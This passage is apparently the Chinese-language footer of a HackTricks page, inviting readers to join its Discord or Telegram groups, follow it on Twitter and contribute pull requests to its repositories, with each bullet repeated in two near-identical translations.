- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
</details>